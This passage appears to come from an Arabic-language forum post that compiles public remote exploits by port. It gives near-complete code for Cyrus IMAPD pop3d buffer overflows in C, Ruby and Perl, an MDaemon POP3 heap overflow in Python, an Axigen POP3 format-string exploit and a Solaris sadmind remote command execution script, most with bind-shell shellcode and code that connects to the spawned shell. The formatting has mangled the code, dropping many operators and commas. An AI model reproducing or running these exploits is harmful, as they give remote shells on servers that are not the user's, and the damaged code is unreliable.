                          continue;
                        else
                          break;
                     }
                     
    write(sockfd,buf,cnt);
                  }
                  if(
    FD_ISSET(sockfd,&fds))
                  {
                     if((
    cnt=read(sockfd,buf,1024))<1)
                     {
                          if(
    errno==EWOULDBLOCK||errno==EAGAIN)
                            continue;
                          else
                            break;
                     }
                     
    write(1,buf,cnt);
                  }
               }
            }
    }

    int main(int argcchar **argv)
    {
       
    char remotehost[255];
       
    int s,s2,i;
       
    unsigned int returnaddr;

       
    printf("cyrus pop3d remote exploit [kcope/2006]\n");

       if (
    argc 3) {
           
    printf("usage: %s <remote host> <brute force start return address>\n"argv[0]);
           
    printf("eg: %s localhost bfffa000\n"argv[0]);
           return 
    1;
       }

       
    strcpy(remotehostargv[1]); //uhoho
       
    if (sscanf(argv[2], "%8x", &returnaddr) == 0) {
           
    printf("Specify valid start return address\n");
           return 
    1;
       }

       
    printf("Checking if vulnerable... ");
       
    s=do_connect(remotehostPOP3PORT);
       if (
    do_checkvulnerable(s) == -1) {
           
    close(s);
           
    printf("\ncyrus pop3d seems not to be vulnerable\nno popsubfolders defined at remote host?\n");
           return 
    1;
       }
       
    close(s);
       
    printf("SUCCESS!\n");

       while (
    returnaddr 0xbfffffff) {
           
    returnaddr+=16;

           
    printf("CRACKADDR = %4x\n"returnaddr);
           
    fflush(stdout);
           
    s=do_connect(remotehostPOP3PORT);
           if (
    s==-1)
               return 
    1;

           
    do_exploit(sreturnaddr);
           for (
    i=0;i<2;i++) {
               if ((
    s2=do_connect(remotehostBINDPORT)) != -1) {
                   
    printf("\nALEX,ALEX WE GOT IT!!!\n");
                   
    do_remote_shell(s2);
                   return 
    0;
               }
               
    close(s2);
           }

           
    close(s);
       }

       return 
    0;
    }

    //  [2006-05-21] 
    110 Cyrus IMAPD 2.3.2 (pop3d) Remote Buffer Overflow Exploit (2)

    كود PHP:
    #!/usr/bin/ruby
    #
    # cyrus-imapd pop3d exploit
    # by bannedit
    #
    # 05/23/2006
    #    This exploit takes advantage of a stack based overflow.
    #    Once the stack corruption has occured it is possible
    #    to overwrite a pointer which is later used for a memcpy
    #    this gives us a write anything anywhere condition similar
    #    to a format string vulnerability.
    #    
    #    I choose to overwrite the GOT table with my shellcode and
    #    return to it. This defeats the VA random patch and possibly
    #    other stack protection features.
    #
    #    tested on gentoo-sources linux 2.6.16



    require 'socket'

    #will add targets for other linux distros
    targets = { 'linux 2.6' => '0x080fd318''linux 2.6 Hardened' => '''freebsd' => '' }


    #metasploit bind shellcode by skape 84 bytes port 4444#

    shellcode 
    "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"+
    "\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"+
    "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"+
    "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"+
    "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"+
    "\x89\xe1\xcd\x80"


    puts "--[cyrus imapd pop3 popsubfolders exploit"
    puts "----[by bannedit"
    puts "-----------------------------------------"

    case ARGV.length 

    when 0
        puts 
    "--- ./exploit [host] [options]"
        
    exit

    when 1
        sock 
    TCPSocket.new(ARGV[0], "pop3")

    when 2
        sock 
    TCPSocket.new(ARGV[0], "pop3")
        
    ret ARGV[1].hex

    end

    ret 
    = (targets['linux 2.6'].hex

    puts "<- " banner sock.gets
    puts 
    "-> sending USER command"
    printf " injecting shellcode: %d bytes\n"shellcode.length


    #this alignment stuff should probably be cleaned up its kinda icky#

    evil_buff "USER " 
    evil_buff <<"\x90" 265 #(290 - shellcode.length)

    evil_buff << ([ret].pack('V')) * #return address
    evil_buff <<"\x90" * (250 shellcode.length
    evil_buff << shellcode
    evil_buff 
    <<"\x90" * (29)
    ret ret 277
    evil_buff 
    << ([ret].pack('V')) * #0x080fd204
    evil_buff <<"\r\n"

    sock.send(evil_buff0)

    sleep 9
    puts 
    " attempting to connect to #{ARGV[0]} port 4444"

    cmd "nc #{ARGV[0]} 4444"
    system(cmd)

    sock.close

    #  [2006-07-21] 
    110 Cyrus IMAPD 2.3.2 (pop3d) Remote Buffer Overflow Exploit (3)

    كود PHP:
    #!/usr/bin/perl
    ## Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)
    ## Name: bid-18056.pl
    ## Date: 08/12/2006
    ## 
    ## Description: this is yet another exploit for the cyrus pop3d buffer overflow. I tried both public
    ##  exploits and not either of them worked (not that they don't but coding my own is generaly faster
    ##  and easier) so I coded my own. The exploit by kcope seems to be done right and maybe i just got realy
    ##  unlucky and missed the offset in between the 5 runs i gave it. The one from bannedit was interesting...
    ##  realy nice idea about overwriting the pointer and sticking your shellcode in GOT. Only problem is that
    ##  when i was writing this exploit with the same method, and i placed my shellcode in GOT, functions before
    ##  the return from the vuln function where segfaulting first by trying to actualy *use* the GOT! So what I have
    ##  done here is used the same method, yet found a data area that is not going to freak pop3d
    ##  out before it gets to the return. Specificy I use part of the .data segment (or was it .bss, anyways) labeled
    ##  'buf'. With this the same one-offset-per-machine is gained that bannedit was achieving. 
    ##
    ## Other: Basicly what all this means, is you just have to give an offset that is a location in memory that
    ##  is writeable and executable (anything in .data, .bss, .stack, .heap, etc) and make sure it's not something
    ##  that will need to be used by functions in pop3d before popd_canon_user() returns and hence executes your
    ##  shellcode (because it'll segfault and won't get executed).
    ##
    ## Note: bindport is 13370
    #################################################################################################################
    use IO::Socket;
    use 
    strict;

    my $host $ARGV[0] || help();
    my $offset $ARGV[1] || help();
    my $port 110;

    # stollen from cyruspop3d.c because this actualy worked, i couldn't get any
    # metasploit sc to work (as usualy, hmph)
    my $shellcode 
    "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96".
    "\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56".
    "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1".
    "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0".
    "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53".
    "\x89\xe1\xcd\x80";

    my $sock IO::Socket::INET->new('PeerAddr' => $host,
                                     
    'PeerPort' => $port) or die ("-!> unable to connect to '$host:$port': $!\n");

    $sock->autoflush();

    print 
    $sock "USER ";                       ## begin USER command with just that
    print $sock "$shellcode";                  ## shellcode is *userbuf is *user
    print $sock pack('l'hex($offset)) x 120## location overwrites EIP and *out, userbuf/user written to *out
    print $sock "\n";                          ## that simple

    sub help {
        print 
    "bid-18056.pl by K-sPecial (xzziroz.net) of .aware (awarenetwork.org)\n";
        print 
    "08/12/2006\n\n";
        print 
    "perl $0 \$host \$offset\n\n";
        
        print 
    "Offsets: \n";
        print 
    "0x8106c20 (debian 3.1 - 2.6.16-rc6)\n";

        exit(
    0);
    }

    #  [2006-08-14] 

    110 MDaemon POP3 Server < 9.06 (USER) Remote Heap Overflow Exploit

    كود PHP:
    #!/usr/bin/python
    import sys
    import struct
    import socket
    from time import sleep
    ########################################################################################
    # MDaemon Pre Authentication (USER) Heap Overflow 
    # Code based on Leon Juranic's exploit
    # Coded by muts - [email protected]
    # http://www.hackingdefined.com
    # http://www.remote-exploit.org
    # Tested on:
    #     Mdaemon 9.0.5
    #     Mdaemon 7.2.3
    #     Mdaemon 7.2.2
    #     Mdaemon 7.2.1
    #     Mdaemon 7.2.0
    #        Possibly Others
    #        PLEASE CONTINUE READING !
    # Huge greets to xbxice and talz for leading me away from the darkness
    ########################################################################################
    # Mdaemon is wierd. It seems like their developers decided to annoy everyone
    # by making their software do unexpected things.
    # The exploit overwrites UnhandledExceptionFilter, and jumps to an egghunter
    # shellcode - which then scans the memory, and executes a bindshell on port 4444.

    # On some Win2k SP4 machines, I found SetUnhandledExceptionFilter at 0x00000214,
    # for which I unfortunately had no explenation. 
    # I later found out that these machines were fully patched ...
    # After inspecting kernel32.dll from my SP4 (not fully patched) and comparing it to 
    # todays' version, I noticed that the SetunhandledExceptionFilter function had changed, 
    # and looks suspiciously similar to XP SP2... 
    # Note that my unpatched win2k was last patched 2-3 weeks ago, 
    # so I suspect this change is recent.
    # The end of easy UnhandledExceptionFilter exploitation on Win2k ?
    #
    # So, this is a partially working exploit, on unpatched win2k boxes....
    # Kiddies, treat this exploit as DOS :)
    #
    # I got 3 types of results with this code:
    #
    # 1. Shell :)    
    # 2. Mdaemon process shoots up to 100%, scanning memory for shellcode that isn't there.
    # 3. Plain ugly crash - oh well.
    #
    # At minimum, I'de check the UnhandledExceptionFilter address before running the exploit.
    ######################################################################################## 

    # C:\Documents and Settings\muts>nc -v 192.168.220.128 4444
    # 97DACBEC7CA4483 [192.168.220.128] 4444 (?) open
    # Microsoft Windows 2000 [Version 5.00.2195]
    # (C) Copyright 1985-2000 Microsoft Corp.

    # C:\MDaemon\APP>
    ########################################################################################

    host="192.168.220.128"

    ret struct.pack("<L",0x7c2f62b6)    # 7c2f62b6 advapi.dll JMP ESI+48 SP4 No Patches
    ueh struct.pack("<L",0x7C54144C)    # SetUnhandledExceptionFilter 0x7C54144C win2k SP4 No Patches
    tap struct.pack("<L",0xeb169090)      # Short Jump over some garbage

    # skape's egghunter shellcode 

    egghunter  ="\xeb\x21\x59\xb8\x74\x30\x30\x77\x51\x6a\xff\x33\xdb\x64\x89\x23"
    egghunter +="\x6a\x02\x59\x8b\xfb\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f"
    egghunter +="\x43\xeb\xed\xe8\xda\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8"
    egghunter +="\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x33\xc0\xc3"

    # win32_bind -  EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum

    shellcode  ="\x90\x90\x74\x30\x30\x77\x74\x30\x30\x77" # t00wt00w (!)
    shellcode +="\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
    shellcode +="\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
    shellcode +="\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
    shellcode +="\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
    shellcode +="\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e"
    shellcode +="\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x38"
    shellcode +="\x4e\x46\x46\x52\x46\x42\x4b\x48\x45\x34\x4e\x53\x4b\x48\x4e\x57"
    shellcode +="\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x48"
    shellcode +="\x4f\x45\x42\x52\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x48"
    shellcode +="\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x38\x42\x4c"
    shellcode +="\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
    shellcode +="\x46\x4f\x4b\x53\x46\x45\x46\x32\x4a\x52\x45\x37\x45\x4e\x4b\x38"
    shellcode +="\x4f\x35\x46\x52\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54"
    shellcode +="\x4b\x58\x4f\x45\x4e\x31\x41\x50\x4b\x4e\x43\x50\x4e\x42\x4b\x38"
    shellcode +="\x49\x58\x4e\x46\x46\x52\x4e\x31\x41\x46\x43\x4c\x41\x53\x4b\x4d"
    shellcode +="\x46\x56\x4b\x58\x43\x44\x42\x33\x4b\x48\x42\x54\x4e\x30\x4b\x38"
    shellcode +="\x42\x57\x4e\x51\x4d\x4a\x4b\x58\x42\x54\x4a\x50\x50\x45\x4a\x46"
    shellcode +="\x50\x48\x50\x34\x50\x30\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x56"
    shellcode +="\x43\x35\x48\x46\x4a\x56\x43\x43\x44\x43\x4a\x36\x47\x47\x43\x57"
    shellcode +="\x44\x33\x4f\x45\x46\x45\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e"
    shellcode +="\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x55\x49\x38\x45\x4e"
    shellcode +="\x48\x36\x41\x58\x4d\x4e\x4a\x30\x44\x30\x45\x55\x4c\x36\x44\x50"
    shellcode +="\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55"
    shellcode +="\x4f\x4f\x48\x4d\x43\x45\x43\x55\x43\x45\x43\x35\x43\x55\x43\x34"
    shellcode +="\x43\x45\x43\x44\x43\x45\x4f\x4f\x42\x4d\x48\x36\x4a\x56\x41\x51"
    shellcode +="\x4e\x35\x48\x46\x43\x35\x49\x38\x41\x4e\x45\x39\x4a\x46\x46\x4a"
    shellcode +="\x4c\x51\x42\x37\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x36\x42\x51"
    shellcode +="\x41\x35\x45\x55\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x42"
    shellcode +="\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x35\x45\x55\x4f\x4f\x42\x4d"
    shellcode +="\x4a\x46\x45\x4e\x49\x44\x48\x48\x49\x34\x47\x55\x4f\x4f\x48\x4d"
    shellcode +="\x42\x35\x46\x35\x46\x35\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x56"
    shellcode +="\x47\x4e\x49\x57\x48\x4c\x49\x47\x47\x55\x4f\x4f\x48\x4d\x45\x45"
    shellcode +="\x4f\x4f\x42\x4d\x48\x56\x4c\x56\x46\x56\x48\x56\x4a\x46\x43\x46"
    shellcode +="\x4d\x46\x49\x38\x45\x4e\x4c\x46\x42\x55\x49\x55\x49\x32\x4e\x4c"
    shellcode +="\x49\x38\x47\x4e\x4c\x36\x46\x34\x49\x58\x44\x4e\x41\x33\x42\x4c"
    shellcode +="\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x52\x50\x4f\x44\x34\x4e\x42"
    shellcode +="\x43\x59\x4d\x58\x4c\x57\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56"
    shellcode +="\x44\x37\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x47\x46\x44\x4f\x4f"
    shellcode +="\x48\x4d\x4b\x35\x47\x45\x44\x55\x41\x55\x41\x55\x41\x55\x4c\x56"
    shellcode +="\x41\x50\x41\x45\x41\x35\x45\x45\x41\x55\x4f\x4f\x42\x4d\x4a\x56"
    shellcode +="\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46"
    shellcode +="\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x58\x47\x55\x4e\x4f"
    shellcode +="\x43\x38\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x35\x4f\x4f\x42\x4d"
    shellcode +="\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x35\x43\x55\x4f\x4f\x48\x4d"
    shellcode +="\x4f\x4f\x42\x4d\x5a"

    buffer ="AAA"+tap+"BBBB"+ret+ueh+"\x90"*90 +egghunter+"C"*346

    for x in range(5):
        
    socket.socket(socket.AF_INETsocket.SOCK_STREAM)
        
    s.connect((host,110))
        
    data=s.recv(1024)
        print 
    data
        s
    .send('USER '+'@A' 1600 '\x90'*5945 shellcode +'D'*3711 '\r\n'
        
    s.send('QUIT\r\n')
        
    s.close()
        
    sleep(1)

    socket.socket(socket.AF_INETsocket.SOCK_STREAM)
    s.connect((host,110))
    data=s.recv(1024)
    print 
    data
    s
    .send('USER ' '@A@A'buffer '\r\n')
    data=s.recv(1024)
    print 
    data
    s
    .send('USER ' 'A' 3370 '\r\n')
    s.close()

    socket.socket(socket.AF_INETsocket.SOCK_STREAM)
    s.connect((host,110))
    data=s.recv(1024)
    print 
    data
    s
    .send('USER ' '@A@A'buffer '\r\n')
    data=s.recv(1024)
    print 
    data
    s
    .send('USER ' 'A' 3370 '\r\n')
    s.close()
    sleep(1)

    #  [2006-08-26] 
    110 Axigen eMail Server 2.0.0b2 (pop3) Remote Format String Exploit

    كود PHP:
    /* axiagen.c
     *
     * Axigen eMail Server v2.0 (beta)
     *     by fuGich Tue Dec 5 2006
     *
     *         thanks to mu-b
     *
     * - Tested on: Axigen V2 (beta)
     *
     *   logType for the pop3 service must be "system" and 
     *   the logLevel set to any number with 4th bit set
     *
     * remote shell format string vulnerability in pop3
     *     /bin/sh to bind to port 31337
     *
     * optimised format string generated with libforSC
     * used hhn for writes, could have been hn's but this was small enough and reduces size of log entry generated
     * 
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <netdb.h>


    #define DEF_PORT    110
    #define PORT_POP3   DEF_PORT


    char formatString[] =
        
        
    // plt fixup code

        
    "\xba\xd8\xbe\x85\x09"        // mov    $0x985bed8,%edx
        
    "\xc7\x02\x9a\xf0\x04\x08"    // movl   $0x804f09a,(%edx)
        
    "\x8d\x52\x04"            // lea    0x4(%edx),%edx
        
    "\xc6\x02\xaa"            // movb   $0xaa,(%edx)
        
    "\x90\x90\x90"            // make divisible by 8
        
        //
        // bind shell with fork to port 31337 98 bytes
        //

        
    "\x6a\x66"              // push $0x66 
        
    "\x58"                  // pop %eax 
        
    "\x99"                  // cltd 
        
    "\x6a\x01"              // push $0x1 
        
    "\x5b"                  // pop %ebx 
        
    "\x52"                  // push %edx 
        
    "\x53"                  // push %ebx 
        
    "\x6a\x02"              // push $0x2 

        //
        // <_doint>:
        //

        
    "\x89\xe1"              // mov %esp,%ecx 
        
    "\xcd\x80"              // int $0x80 

        
    "\x5b"                  // pop %ebx 
        
    "\x5d"                  // pop %ebp 
        
    "\x52"                  // push %edx 
        
    "\x66\xbd\x69\x7a"      // mov $0x7a69,%bp (0x7a69 = 31337)
        
    "\x0f\xcd"              // bswap %ebp 
        
    "\x09\xdd"              // or %ebx,%ebp 
        
    "\x55"                  // push %ebp 
        
    "\x6a\x10"              // push $0x10 
        
    "\x51"                  // push %ecx 
        
    "\x50"                  // push %eax 
        
    "\x89\xe1"              // mov %esp,%ecx 
        
    "\xb0\x66"              // mov $0x66,%al 
        
    "\xcd\x80"              // int $0x80 
        
    "\xb3\x04"              // mov $0x4,%bl 
        
    "\xb0\x66"              // mov $0x66,%al 
        
    "\xcd\x80"              // int $0x80 

        //
        // <_acceptloop>:
        //

        
    "\x5f"                  // pop %edi 
        
    "\x50"                  // push %eax 
        
    "\x50"                  // push %eax 
        
    "\x57"                  // push %edi 
        
    "\x89\xe1"              // mov %esp,%ecx 
        
    "\x43"                  // inc %ebx 
        
    "\xb0\x66"              // mov $0x66,%al 
        
    "\xcd\x80"              // int $0x80 
        
    "\x93"                  // xchg %eax,%ebx 
        
    "\xb0\x02"              // mov $0x2,%al 
        
    "\xcd\x80"              // int $0x80 
        
    "\x85\xc0"              // test %eax,%eax 
        
    "\x75\x1a"              // jne <_parent> 
        
    "\x59"                  // pop %ecx 

        //
        // <_dup2loop>:
        //

        
    "\xb0\x3f"              // mov $0x3f,%al 
        
    "\xcd\x80"              // int $0x80 
        
    "\x49"                  // dec %ecx 
        
    "\x79\xf9"              // jns <_dup2loop> 

        
    "\xb0\x0b"              // mov $0xb,%al 
        
    "\x68\x2f\x2f\x73\x68"  // push $0x68732f2f 
        
    "\x68\x2f\x62\x69\x6e"  // push $0x6e69622f 
        
    "\x89\xe3"              // mov %esp,%ebx 
        
    "\x52"                  // push %edx 
        
    "\x53"                  // push %ebx 
        
    "\xeb\xb2"              // jmp <_doint> 

        //
        // <_parent>:
        //

        
    "\x6a\x06"              // push $0x6 
        
    "\x58"                  // pop %eax 
        
    "\xcd\x80"              // int $0x80 
        
    "\xb3\x04"              // mov $0x4,%bl 
        
    "\xeb\xc9"              // jmp <_acceptloop>

        //
        // 9 write addresses
        //

        
    "\xd8\xbe\x85\x09"    // pointer @ 0x0985bed8
        
    "\xd9\xbe\x85\x09"
        "\xda\xbe\x85\x09"
        "\xdb\xbe\x85\x09"
        "\xe0\xbe\x85\x09"    
    // place shell code @ 0x0985bee0
        
    "\xe1\xbe\x85\x09"
        "\xe2\xbe\x85\x09"
        "\xe3\xbe\x85\x09"
        "\xe4\xbe\x85\x09"

        
    // add the format string

        
    "%18u%66$n%34u%65$hhn%31u%72$hhn%10u%68$hhn%31u%71$hhn%87u%70$hhn%14u%69$hhn%90u%73$hhn%158u%67$hhn\r\n";


    static 
    int sock_send (int socku_char srcint len);
    static 
    void formatme (u_char host);
    static 
    int sockami (u_char hostint port);
    void shell (int sock);

    void shell (int sock){        /* Attach to Remote Shell */

        
    int     l;
        
    char    buf[512];
        
    fd_set  rfds;

        while (
    1) {
            
    FD_SET (0, &rfds);
            
    FD_SET (sock, &rfds);
            
    select (sock 1, &rfdsNULLNULLNULL);
            if (
    FD_ISSET (0, &rfds)) {
                
    read (0bufsizeof (buf));
                if (
    <= 0) {
                    
    printf("\n - Connection closed by local user\n");
                    exit (
    EXIT_FAILURE);
                }
                
    write (sockbufl);
            }
            if (
    FD_ISSET (sock, &rfds)) {
                
    read (sockbufsizeof (buf));
                if (
    == 0) {
                    
    printf ("\n - Connection closed by remote host.\n");
                    exit (
    EXIT_FAILURE);
                } else if (
    0) {
                    
    printf ("\n - Read failure\n");
                    exit (
    EXIT_FAILURE);
                }
                
    write (1bufl);
            }
        }
    }

    static 
    int sock_send (int socku_char srcint len){        /* send data to the open socket */

        
    int sbytes;
        
    sbytes send (socksrclen0);
        return (
    sbytes);
    }

    static 
    int sockami (u_char hostint port){    /* create the socket */

        
    struct sockaddr_in address;
        
    struct hostent *hp;
        
    int sock;

        
    fflush (stdout);
        if ((
    sock socket (AF_INETSOCK_STREAM0)) == -1){
            
    perror ("socket()");
            exit (-
    1);
        }

        if ((
    hp gethostbyname (host)) == NULL){
            
    perror ("gethostbyname()");
            exit (-
    1);
        }

        
    memset (&address0sizeof (address));
        
    memcpy ((char *) &address.sin_addrhp->h_addrhp->h_length);
        
    address.sin_family AF_INET;
        
    address.sin_port htons (port);

        if (
    connect (sock, (struct sockaddr *) &addresssizeof (address)) == -1){
            
    perror ("connect()");
            exit (
    EXIT_FAILURE);
        }
        return (
    sock);
    }

    static 
    void formatme (u_char host){    /* do the evil */

        
    int sock;
        
    printf ("+Connecting to %s:%d "hostPORT_POP3);    
        
    sock sockami (hostPORT_POP3);
        
    printf ("\n+Sending format string\n");
        
    sock_send (sockformatStringstrlen (formatString));
        
    fflush (stdout);
        
    sleep(2);    
        
    printf ("+Connecting to Shell ");    
        
    sock sockami (host31337);
        
    printf ("- Done\n");
        
    shell(sock);

    }

    int main (int argcchar **argv){    /* go figure */

        
    printf ("Axigen 2.0 beta Remote pop3 exploit\n"
            "by: <[email protected]>\n\n"
    );

        if (
    argc <= 1)
        {
            
    fprintf (stderr"Usage: %s <host>\n\n"argv[0]);
            exit (
    EXIT_SUCCESS);
        }

        
    formatme (argv[1]);
    }

    //  [2007-02-18] 
    انتهينا من بورت 110
    نبداء بـ بورت 111

    111 Solaris Sadmind Default Configuration Remote Root Exploit

    كود PHP:
    #!/usr/bin/perl -w
    ##################

    ##
    #      Title: rootdown.pl
    #      Purpose: Solaris Remote command executiong via sadmind
    #      Author: H D Moore hdm at metasploit.com
    #      Copyright: Copyright (C) 2003 METASPLOIT.COM
    ##


    use strict;
    use 
    POSIX;
    use 
    IO::Socket;
    use 
    IO::Select;
    use 
    Getopt::Std;

    my $VERSION "1.0";
    my %opts;

    getopts("h:p:c:r:iv", \%opts);

    if (
    $opts{v}) { show_info() }

    if (! 
    $opts{h}) { usage() }

    my $target_host $opts{h};

    my $target_name "exploit";

    my $command $opts{c} ? $opts{c} : "touch /tmp/OWNED_BY_SADMIND_\$\$";
    my $portmap $opts{r} ? $opts{r} : 111;


    ##
    # Determine the port used by sadmind  
    ##

    my $target_port $opts{p} ? $opts{p} : rpc_getport($target_host$portmap10023210);

    if (! 
    $target_port)
    {
        print 
    STDERR "Error: could not determine port used by sadmind\n";
        exit(
    0);
    }

    ##
    #  Determine the hostname of the target
    ##

    my $s rpc_socket($target_host$target_port);
    my $x rpc_sadmin_exec($target_name"id");
    print 
    $s $x;
    my $r rpc_read($s);
    close ($s);

    if (
    $r && $r =~ m/Security exception on host (.*)\.  USER/)
    {
        
    $target_name = $1;
    } else {
        print 
    STDERR "Error: could not obtain target hostname.\n";
        exit(
    0);
    }


    ##
    #  Execute commands :)
    ##


    my $interactive 0;

    if (
    $opts{i}) { $interactive++ }

    do {

        if (
    $opts{i}) { $command command_prompt() } else 
        {
            print 
    STDERR "Executing command on '$target_name' via port $target_port\n";
        }
        
        
    $s rpc_socket($target_host$target_port);
        
    $x rpc_sadmin_exec($target_name$command);
        print 
    $s $x;
        
    $r rpc_read($s);
        
    close ($s);

        if (
    $r
        {  
            
    # Command Failed
            
    if (length($r) == 36 && substr($r244eq "\x00\x00\x00\x29")
            {
                print 
    STDERR "Error: something went wrong with the RPC format.\n";
                exit(
    0);
            }

            
    # Command might have failed
            
    if (length($r) == 36 && substr($r244eq "\x00\x00\x00\x2b")
            {
                print 
    STDERR "Error: something may have gone wrong with the sadmind format\n";
            }

            
    # Confirmed success
            
    if (length($r) == 36 && substr($r2412eq ("\x00" x 12))
            {
                print 
    STDERR "Success: your command has been executed successfully.\n";
            }    

            if (
    length($r) != 36)  { print STDERR "Unknown Response: $r\n" }
            
        } else {
            print 
    STDERR "Error: no response recieved, you may want to try again.\n";
            exit(
    0);
        }
        
    } while (
    $interactive);

    exit(
    0);

    sub usage {
        print 
    STDERR "\n";
        print 
    STDERR "+-----==[ rootdown.pl => Solaris SADMIND Remote Command Execution\n\n";
        print 
    STDERR "       Usage:   $0 -h <target> -c <command> [options]\n";
        print 
    STDERR "     Options:\n";
        print 
    STDERR "                -i\tStart interactive mode (for multiple commands)\n";
        print 
    STDERR "                -p\tAvoid the portmapper and use this sadmind port\n";   
        print 
    STDERR "                -r\tQuery alternate portmapper on this UDP port\n";
        print 
    STDERR "                -v\tDisplay information about this exploit\n";    
        
        print 
    STDERR "\n\n";
        exit(
    0);
    }

    sub show_info {

    print 
    "\n\n";
    print 
    "   Name:  rootdown.pl\n";
    print 
    " Author:  H D Moore <hdm\@metasploit.com>\n";
    print 
    "Version:  $VERSION\n\n";

    # not finsihed :)
    print 
    "This exploit targets a weakness in the default security settings
    of the sadmind RPC application. This application is installed and
    enabled by default on most versions of the Solaris operating
    system.\n\n"
    .

    "The sadmind application defaults to a weak security mode known as
    AUTH_SYS (or AUTH_UNIX under Linux/BSD). When running in this mode,
    the service will accept a structure containing the user and group
    IDs as well as the originating system name. These values are not
    validated in any form and are completely controlled by the client.
    If the standard sadmin RPC API calls are used to generate the request,
    the ADM_CLIENT_HOST parameter is filled in with the hostname of the 
    client system. If the RPC packet is modified so that this field is
    set to the hostname of the remote system, it will be processed as 
    if it was a local request. If the user ID is set to zero or the
    value of any user in the sysadmin group, it is possible to call
    arbitrary methods in any class available to sadmind.\n\n"
    .

    "If the Solstice AdminSuite client software has not been installed,
    the only class available is 'system', which only contains a single
    method called 'admpipe'. The strings within this program seem to
    suggest that it can be used run arbitrary commands, however I chose
    a different method of command execution. Since each method is simply 
    an executable in the class directory, it is possible to use a 
    standard directory traversal attack to execute any application.
    We can pass arguments to these methods using the standard API.

    An example of spawning a shell which executes the 'id' command:

        # apm -c system -m ../../../../../bin/sh -a arg1=-c arg2=id\n\n"
    .

    "To exploit this vulnerability, we must create a RPC packet that
    calls the '/bin/sh' method, passing it the parameter of the command
    we want to execute. To do this, packet dumps of the 'apm' tool
    were obtained and the format was slowly mapped. The hostname of 
    the target system must be known for this exploit to work, however
    when sadmind is called with the wrong name, it replies with a
    'ACCESS DENIED' error message containing the correct name. The 
    final code does the following:

    1) Queries the portmapper to determine the sadmind port
    2) Sends an invalid request to sadmind to obtain the hostname
    3) Uses the hostname to forge the RPC packet and execute commands


    This vulnerability was reported by Mark Zielinski and disclosed by iDefense.

    Related URLs:

     - http://www.idefense.com/advisory/09.16.03.txt
     - http://docs.sun.com/db/doc/816-0211/6m6nc676b?a=view
    "
    ;





    exit(
    0);
    }

    sub command_prompt {
        
    select(STDOUT); $|++;
        
        print 
    STDOUT "\nsadmind> ";
        
    my $command = <STDIN>;
        
    chomp($command);
        if (! 
    $command || lc($commandeq "quit" || lc($commandeq "exit")
        {
            print 
    "\nExiting interactive mode...\n";
            exit(
    0);
        }
        return (
    $command)
    }

    sub rpc_socket {
        
    my ($target_host$target_port) = @_;
        
    my $s IO::Socket::INET->new
        
    (
            
    PeerAddr => $target_host
            
    PeerPort => $target_port,
            
    Proto    => "udp",
            
    Type     => SOCK_DGRAM
        
    );

        if (! 
    $s)
        {
            print 
    "\nError: could not create socket to target: $!\n";
            exit(
    0);
        }

        
    select($s); $|++;
        
    select(STDOUT); $|++;
        
    nonblock($s);
        return(
    $s);
    }

    sub rpc_read {
        
    my ($s) = @_;
        
    my $sel IO::Select->new($s);
        
    my $res;
        
    my @fds $sel->can_read(4);
        foreach (@
